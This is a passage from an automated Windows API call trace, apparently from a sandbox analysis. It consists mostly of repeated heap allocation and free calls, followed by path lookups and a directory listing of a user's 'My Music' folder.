RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.806] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.806] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.806] PathFindFileNameW (pszPath="") returned="" [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0xffffffff [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.806] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 